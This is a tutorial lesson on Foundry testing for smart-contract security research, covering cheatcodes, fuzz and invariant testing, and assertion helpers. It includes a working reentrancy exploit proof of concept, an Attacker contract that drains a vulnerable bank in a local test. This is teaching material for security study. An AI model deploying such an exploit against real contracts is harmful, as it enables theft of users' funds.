🌿 Intermediate ⏱️ 50 min

Foundry Testing Deep Dive

Foundry is the gold standard for smart contract testing in security research. Its cheatcodes let you manipulate blockchain state — impersonate any address, jump in time, fork mainnet, mock external contracts — all within a Solidity test. This lesson covers every important cheatcode, fuzz testing, invariant testing, and how to write a complete exploit proof-of-concept test that proves a vulnerability is real and exploitable.

📖 Why Foundry for Security Research?

Foundry tests are written in Solidity — the same language as the contracts being tested. This means no context-switching between languages, and you can interact with contracts exactly as an attacker would: at the bytecode level, with full control over every execution parameter. The cheatcode system gives you god-mode access to the EVM that would be impossible in a real transaction.

Test Contract Structure

🧪 Basic Test Contract Anatomy
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-std/Test.sol"; // imports Test base + Vm cheatcode interface import "../src/MyContract.sol"; contract MyContractTest is Test { MyContract public target; address alice = makeAddr("alice"); // deterministic test address address bob = makeAddr("bob"); // setUp() runs BEFORE every test function function setUp() public { target = new MyContract(); vm.deal(alice, 100 ether); vm.deal(bob, 50 ether); } // test_*: normal test — must not revert to pass function test_BasicDeposit() public { ... } // testFuzz_*: fuzz test — Foundry generates random inputs function testFuzz_Deposit(uint256 amount) public { ... } // testFail_*: PASSES if the function REVERTS (inverse assertion) function testFail_UnauthorizedAccess() public { vm.prank(alice); target.adminFunction(); // expected to revert — test passes if it does } }

Core Cheatcodes — Address and Value Manipulation

🎮 vm.prank, vm.deal, vm.startPrank
// vm.prank(addr): sets msg.sender for the NEXT call only vm.prank(alice); target.deposit{value: 1 ether}(); // msg.sender = alice for this call // After the call, msg.sender reverts to test contract address // vm.startPrank(addr): sets msg.sender for ALL subsequent calls vm.startPrank(alice); target.deposit{value: 1 ether}(); // msg.sender = alice target.stake(); // msg.sender = alice target.vote(proposalId); // msg.sender = alice vm.stopPrank(); // stop impersonation // vm.prank with tx.origin (for testing tx.origin-based auth): vm.prank(alice, alice); // msg.sender = alice, tx.origin = alice // vm.deal: set ETH balance of any address vm.deal(alice, 1000 ether); vm.deal(address(target), 0); // drain contract ETH in tests // vm.label: human-readable names in traces (-vvvv output) vm.label(address(target), "MyContract"); vm.label(alice, "Alice");

Time and Block Cheatcodes

⏰ vm.warp, vm.roll — Manipulating Time and Blocks
// vm.warp: set block.timestamp to any value vm.warp(1_700_000_000); // unix timestamp assertEq(block.timestamp, 1_700_000_000); // Common pattern: skip forward in time uint256 lockEnd = block.timestamp + 30 days; vm.warp(lockEnd + 1); // jump past lock period target.withdraw(); // should now succeed // vm.roll: set block.number vm.roll(19_500_000); assertEq(block.number, 19_500_000); // Combined: simulate a full governance timeline vm.roll(block.number + 1); // advance one block (for snapshot) target.propose(calldata); vm.roll(block.number + 50400); // ~7 days of blocks target.castVote(proposalId, 1); vm.roll(block.number + 50400); target.execute(proposalId); // full governance cycle tested

Revert and Event Cheatcodes

🚫 vm.expectRevert and vm.expectEmit
// vm.expectRevert(): next call must revert (with any reason) vm.expectRevert(); target.accessControlled(); // vm.expectRevert(bytes4): match custom error selector vm.expectRevert(MyContract.Unauthorized.selector); vm.prank(alice); target.adminOnly(); // vm.expectRevert(abi.encodeWithSelector(...)): match custom error + args vm.expectRevert(abi.encodeWithSelector( InsufficientBalance.selector, 100 ether, 50 ether )); target.withdraw(100 ether); // vm.expectEmit(checkTopic1, checkTopic2, checkTopic3, checkData): vm.expectEmit(true, true, false, true); emit MyContract.Transfer(alice, bob, 100e18); // expected event vm.prank(alice); target.transfer(bob, 100e18); // actual call — must emit matching event // vm.expectRevert with string (legacy OZ pattern): vm.expectRevert("Ownable: caller is not the owner");

Snapshot and Mock Cheatcodes

📸 vm.snapshot, vm.revertTo, vm.mockCall
// vm.snapshot(): save the entire EVM state uint256 snapshot = vm.snapshot(); // Do some state-changing operations target.deposit{value: 1 ether}(); target.stake(); // vm.revertTo(): restore state to the snapshot vm.revertTo(snapshot); // Now state is back to exactly where it was at snapshot time // vm.mockCall(): mock an external contract call // Useful when you don't have the external contract deployed vm.mockCall( oracleAddress, abi.encodeWithSelector(IOracle.getPrice.selector), abi.encode(uint256(2000e8)) // mock returns $2000 ); uint256 price = target.getLatestPrice(); // uses mock oracle assertEq(price, 2000e8); // vm.clearMockedCalls(): remove all active mocks vm.clearMockedCalls();

Fuzz Testing

🎲 Fuzz Testing — Random Input Generation
// Foundry runs fuzz tests 256 times by default (configurable) // Each run gets random values for all function parameters function testFuzz_DepositAndWithdraw(uint256 amount) public { // vm.assume(): skip this input if condition is false // Foundry will try a different random value instead vm.assume(amount > 0); vm.assume(amount <= 100 ether); vm.deal(alice, amount); vm.prank(alice); target.deposit{value: amount}(); assertEq(target.balanceOf(alice), amount); vm.prank(alice); target.withdraw(amount); assertEq(target.balanceOf(alice), 0); assertEq(alice.balance, amount); } // bound(): clamp values to a range (better than vm.assume for numbers) function testFuzz_BoundedAmount(uint256 rawAmount) public { // bound() maps any uint256 to [1, 100 ether] range uint256 amount = bound(rawAmount, 1, 100 ether); // More efficient than vm.assume — never skips a run }

Invariant Testing

🔍 Invariant Testing — Finding Edge Cases Automatically
// Invariant tests: Foundry randomly calls ALL public functions // and checks invariants after each sequence of calls contract BankInvariantTest is Test { Bank bank; function setUp() public { bank = new Bank(); // targetContract: which contracts to call randomly targetContract(address(bank)); } // invariant_*: must hold after ANY sequence of calls function invariant_ETHBalanceEqualsDeposits() public { // The contract's ETH balance must always equal total deposits assertEq( address(bank).balance, bank.totalDeposits(), "ETH balance != total deposits" ); } function invariant_NoUserOverdraft() public { // No user's balance should ever go negative address[] memory users = bank.getUsers(); for (uint i = 0; i < users.length; i++) { assertGe(bank.balances(users[i]), 0); } } }

Complete Exploit Test: Vulnerable → Exploit → Fixed

💥 Full PoC Test — Reentrancy Exploit
contract Attacker { VulnerableBank immutable bank; uint256 public stolenAmount; constructor(VulnerableBank _bank) payable { bank = _bank; } function attack() external { bank.deposit{value: 1 ether}(); bank.withdraw(); } // receive() called when bank sends ETH — reenters before state update receive() external payable { stolenAmount += msg.value; if (address(bank).balance >= 1 ether) { bank.withdraw(); // recursive reentrant call } } } contract ReentrancyTest is Test { function test_ReentrancyExploit() public { VulnerableBank bank = new VulnerableBank(); vm.deal(address(bank), 10 ether); // simulate other users' deposits Attacker attacker = new Attacker{value: 1 ether}(bank); attacker.attack(); // Attacker drained the entire bank with 1 ETH deposit assertGt(attacker.stolenAmount, 1 ether, "exploit failed"); assertEq(address(bank).balance, 0, "bank not drained"); } }

Assertion Helpers and Debug Tools

✏️ Try It — Assertions and Traces
// Common assertions: assertEq(a, b); // a == b assertEq(a, b, "message"); // with failure message assertGt(a, b); // a > b assertLt(a, b); // a < b assertGe(a, b); // a >= b assertLe(a, b); // a <= b assertTrue(condition); assertFalse(condition); assertApproxEqAbs(a, b, delta); // |a - b| <= delta (for floating point) assertApproxEqRel(a, b, pct); // relative tolerance (1e18 = 100%) // console.log inside contract (imports forge-std/console.sol): import "forge-std/console.sol"; console.log("balance:", balance); console.logAddress(owner); console.logBytes32(hash); // Run tests with full traces: // forge test --match-test test_ReentrancyExploit -vvvv // -v = show pass/fail // -vv = show events // -vvv = show call traces // -vvvv = show everything including internal calls // Gas snapshots for optimization: // forge snapshot → creates .gas-snapshot file // forge snapshot --check → fails if gas changed

Cheatcode Quick-Reference

CheatcodeWhat It DoesScopeCommon Use Case
vm.prank(addr)Set msg.sender for next callOne callSimulate user/attacker
vm.startPrank(addr)Set msg.sender persistentlyUntil stopPrank()Multi-call user simulation
vm.deal(addr, n)Set ETH balanceImmediateFund test accounts
vm.warp(ts)Set block.timestampImmediateTest time-locked functions
vm.roll(n)Set block.numberImmediateTest block-based logic
vm.expectRevert()Assert next call revertsNext callAccess control tests
vm.expectEmit()Assert event is emittedNext callEvent emission tests
vm.mockCall()Mock external call responseUntil clearMockedCalls()Isolated unit tests
vm.snapshot()Save EVM stateReturns uint256 idTest multiple scenarios
vm.store(addr,slot,val)Write directly to storage slotImmediateSet mapping values in tests
📖 testFail_ vs vm.expectRevert()

testFail_ functions pass if the entire test reverts — but they don't let you verify the revert reason. vm.expectRevert(selector) is strictly better: it verifies the specific error, not just that something reverted. A test using testFail_ could pass even if the wrong function reverts for the wrong reason. Always prefer vm.expectRevert() with a specific selector for meaningful access control tests.

⚠️ vm.assume() vs bound() for Fuzz Tests

vm.assume(condition) skips the current fuzz input if the condition is false — Foundry generates another random value and tries again. If too many inputs are rejected (more than 65,535 by default), the test fails with "too many rejections." Use bound(value, min, max) instead — it mathematically maps any uint256 into a valid range without rejection, making fuzz tests much more efficient for bounded numeric inputs.

💡 Always Label Addresses in Tests

When a test fails, Foundry traces show raw addresses like 0x0000000000000000000000000000000000000001. Adding vm.label(addr, "Alice") in setUp() transforms all traces for that address to show "Alice" instead. This makes reading -vvvv traces dramatically faster during debugging. Use makeAddr("name") to create labeled addresses upfront with address = makeAddr("name").

Key Takeaways

  • Test functions are named test_*() for normal tests, testFuzz_*() for fuzz, and testFail_*() for tests that must revert. setUp() runs fresh before each test.
  • vm.prank(addr) impersonates an address for one call; vm.startPrank(addr) persists until vm.stopPrank(). Use these to simulate different users and attackers.
  • vm.warp(timestamp) and vm.roll(blockNum) let you simulate governance timelines, lock periods, and time-based vulnerabilities without waiting for real blocks.
  • vm.expectRevert(selector) and vm.expectEmit() are essential for verifying that access control fails correctly and events fire with correct values.
  • Fuzz tests use bound() to clamp inputs to valid ranges (preferred) or vm.assume() to skip invalid inputs. Run with increased count via FOUNDRY_FUZZ_RUNS=10000.
  • Invariant tests have Foundry randomly call all public functions and verify protocol invariants — they find edge cases that targeted unit tests miss.
  • Use -vvvv traces when a test fails to see the full call chain, which function reverted, and what values were passed at each level.